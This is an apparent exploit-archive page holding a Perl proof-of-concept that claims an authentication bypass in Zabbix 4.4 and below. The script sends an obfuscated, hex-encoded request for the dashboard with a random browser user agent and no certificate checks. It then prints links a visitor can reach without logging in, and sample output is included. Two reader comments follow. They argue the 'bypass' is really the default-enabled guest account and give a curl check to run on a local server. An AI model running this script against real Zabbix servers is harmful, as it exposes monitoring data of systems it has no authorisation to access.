what you don't know can hurt you

Zabbix 4.4 Authentication Bypass

Zabbix 4.4 Authentication Bypass
Posted Oct 7, 2019
Authored by Todor Donev

Zabbix versions 4.4 and below authentication bypass demo proof of concept exploit.

tags | exploit, proof of concept, bypass
MD5 | f42e7388fa16f251a8660a46ed6ae867

Zabbix 4.4 Authentication Bypass

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#!/usr/bin/perl -w
#
# Zabbix <= 4.4 Authentication Bypass Demo PoC Exploit
#
# Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>
#
# # [ Zabbix <= 4.4 Authentication Bypass Demo PoC Exploit
# # [ Exploit Author: Todor Donev 2019 <todor.donev@gmail.com>
# # [ Initializing the browser
# # [ >>> Referer =>
# # [ >>> User-Agent => Opera/9.61 (Macintosh; Intel Mac OS X; U; de) Presto/2.1.1
# # [ >>> Content-Type => application/x-www-form-urlencoded
# # [ <<< Cache-Control => no-store, no-cache, must-revalidate
# # [ <<< Connection => close
# # [ <<< Date => Mon, 07 Oct 2019 12:29:54 GMT
# # [ <<< Pragma => no-cache
# # [ <<< Server => nginx
# # [ <<< Vary => Accept-Encoding
# # [ <<< Content-Type => text/html; charset=UTF-8
# # [ <<< Expires => Thu, 19 Nov 1981 08:52:00 GMT
# # [ <<< Client-Date => Mon, 07 Oct 2019 12:29:54 GMT
# # [ <<< Client-Peer =>
# # [ <<< Client-Response-Num => 1
# # [ <<< Client-SSL-Cert-Issuer =>
# # [ <<< Client-SSL-Cert-Subject =>
# # [ <<< Client-SSL-Cipher => ECDHE-RSA-AES128-GCM-SHA256
# # [ <<< Client-SSL-Socket-Class => IO::Socket::SSL
# # [ <<< Client-SSL-Warning => Peer certificate not verified
# # [ <<< Client-Transfer-Encoding => chunked
# # [ <<< Link => <favicon.ico>; rel="icon"<assets/img/apple-touch-icon-76x76-precomposed.png>; rel="apple-touch-icon-precomposed"; sizes="76x76"<assets/img/apple-touch-icon-120x120-precomposed.png>; rel="apple-touch-icon-precomposed"; sizes="120x120"<assets/img/apple-touch-icon-152x152-precomposed.png>; rel="apple-touch-icon-precomposed"; sizes="152x152"<assets/img/apple-touch-icon-180x180-precomposed.png>; rel="apple-touch-icon-precomposed"; sizes="180x180"<assets/img/touch-icon-192x192.png>; rel="icon"; sizes="192x192"<assets/styles/dark-theme.css>; rel="stylesheet"; type="text/css"
# # [ <<< Set-Cookie => zbx_sessionid=e125efe43b1f67b0fdbfb4db2fa1ce0d; HttpOnlyPHPSESSID=n4dolnd118fhio9oslok6qpj3a; path=/zabbix/; HttpOnlyPHPSESSID=n4dolnd118fhio9oslok6qpj3a; path=/zabbix/; HttpOnly
# # [ <<< Strict-Transport-Security => max-age=63072000; includeSubdomains; preload
# # [ <<< Title => TARGET: Dashboard
# # [ <<< X-Content-Type-Options => nosniff
# # [ <<< X-Frame-Options => SAMEORIGIN
# # [ <<< X-Meta-Author => Zabbix SIA
# # [ <<< X-Meta-Charset => utf-8
# # [ <<< X-Meta-Csrf-Token => fdbfb4db2fa1ce0d
# # [ <<< X-Meta-Msapplication-Config => none
# # [ <<< X-Meta-Msapplication-TileColor => #d40000
# # [ <<< X-Meta-Msapplication-TileImage => assets/img/ms-tile-144x144.png
# # [ <<< X-Meta-Viewport => width=device-width, initial-scale=1
# # [ <<< X-UA-Compatible => IE=Edge
# # [ <<< X-XSS-Protection => 1; mode=block
# # [
# # [ The target is vulnerable. Try to open these links:
# # [ https://TARGET/zabbix/zabbix.php?action=dashboard.view
# # [ https://TARGET/zabbix/zabbix.php?action=dashboard.view&ddreset=1
# # [ https://TARGET/zabbix/zabbix.php?action=problem.view&ddreset=1
# # [ https://TARGET/zabbix/overview.php?ddreset=1
# # [ https://TARGET/zabbix/zabbix.php?action=web.view&ddreset=1
# # [ https://TARGET/zabbix/latest.php?ddreset=1
# # [ https://TARGET/zabbix/charts.php?ddreset=1
# # [ https://TARGET/zabbix/screens.php?ddreset=1
# # [ https://TARGET/zabbix/zabbix.php?action=map.view&ddreset=1
# # [ https://TARGET/zabbix/srv_status.php?ddreset=1
# # [ https://TARGET/zabbix/hostinventoriesoverview.php?ddreset=1
# # [ https://TARGET/zabbix/hostinventories.php?ddreset=1
# # [ https://TARGET/zabbix/report2.php?ddreset=1
# # [ https://TARGET/zabbix/toptriggers.php?ddreset=1
# # [ https://TARGET/zabbix/zabbix.php?action=dashboard.list
# # [ https://TARGET/zabbix/zabbix.php?action=dashboard.view&dashboardid=1
#
use strict;
use HTTP::Request;
use LWP::UserAgent;
use WWW::UserAgent::Random;
use HTML::TreeBuilder;
my $host = shift || ''; # Full path url to the store
$host =~ s|/$||;
print "\033[2J"; #clear the screen
print "\033[0;0H"; #jump to 0,0
print "[ Zabbix <= 4.4 Authentication Bypass Demo PoC Exploit\n";
print "[ Exploit Author: Todor Donev 2019 <todor.donev\@gmail.com>\n";
print "[ e.g. perl $0 https://target:port/\n" and exit if ($host !~ m/^http/);
print "[ Initializing the browser\n";
my $user_agent = rand_ua("browsers");
my $browser = LWP::UserAgent->new(protocols_allowed => ['http', 'https'],ssl_opts => { verify_hostname => 0 });
$browser->timeout(30);
$browser->agent($user_agent);
my $target = $host."\x2f\x7a\x61\x62\x62\x69\x78\x2f\x7a\x61\x62\x62\x69\x78\x2e\x70\x68\x70\x3f\x61\x63\x74\x69\x6f\x6e\x3d\x64\x61\x73\x68\x62\x6f\x61\x72\x64\x2e\x76\x69\x65\x77\x26\x64\x61\x73\x68\x62\x6f\x61\x72\x64\x69\x64\x3d\x31";
my $request = HTTP::Request->new (GET => $target,[Content_Type => "application/x-www-form-urlencoded",Referer => $host]);
my $response = $browser->request($request);
print "[ >>> $_ => ", $request->header($_), "\n" for $request->header_field_names;
print "[ <<< $_ => ", $response->header($_), "\n" for $response->header_field_names;
print "[ Exploit failed! 401 Unauthorized!\n" and exit if ($response->code eq '401');
print "[ Exploit failed! 403 Forbidden!\n" and exit if ($response->code eq '403');
if (defined ($response->as_string()) && ($response->as_string() =~ m/Dashboard/)){
print "[\n[ The target is vulnerable. Try to open these links:\n";
my $tree = HTML::TreeBuilder->new_from_content($response->as_string());
my @files = $tree->look_down(_tag => 'a');
for my $line (@files){
next if ($line->attr('href') =~ m/javascript/);
next if ($line->attr('href') =~ m/\#/);
next if ($line->attr('href') =~ m/http/);
print "[ ", $host."/zabbix/".$line->attr('href'), "\n";
}
} else {
print "[ Exploit failed! The target isn't vulnerable\n";
exit;
}

Comments (2)

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jhgrc

Have you tried disabling "guest" account from Administrators / Users? Do that first because it is enabled by default and then update us if vulnerability still exists.

If guest is enabled script states that for example 4.0.x versions are vulnerable too.

You can also bypass script with test like on Zabbix server..

curl -s -k "https://127.0.0.1/zabbix/zabbix.php?action=dashboard.view&dashboardid=1"

If response is "You are not logged in" and "You must login to view this page." then you are all good.

So just test if this is the case in reported 4.2 and 4.4 vulnerabilities to same "attack" which is actually a planned feature that admin has to remember to disable if not wanted.

Comment by jhgrc
2019-10-11 08:44:24 UTC | Permalink | Reply
jhgrc

From Zabbix manual:
Initially there are only two users defined in Zabbix.

'Guest' user is a special default user. If you are not logged in, you are accessing Zabbix with “guest” permissions. By default, “guest” has no permissions on Zabbix objects.

Comment by jhgrc
2019-10-11 12:08:21 UTC | Permalink | Reply
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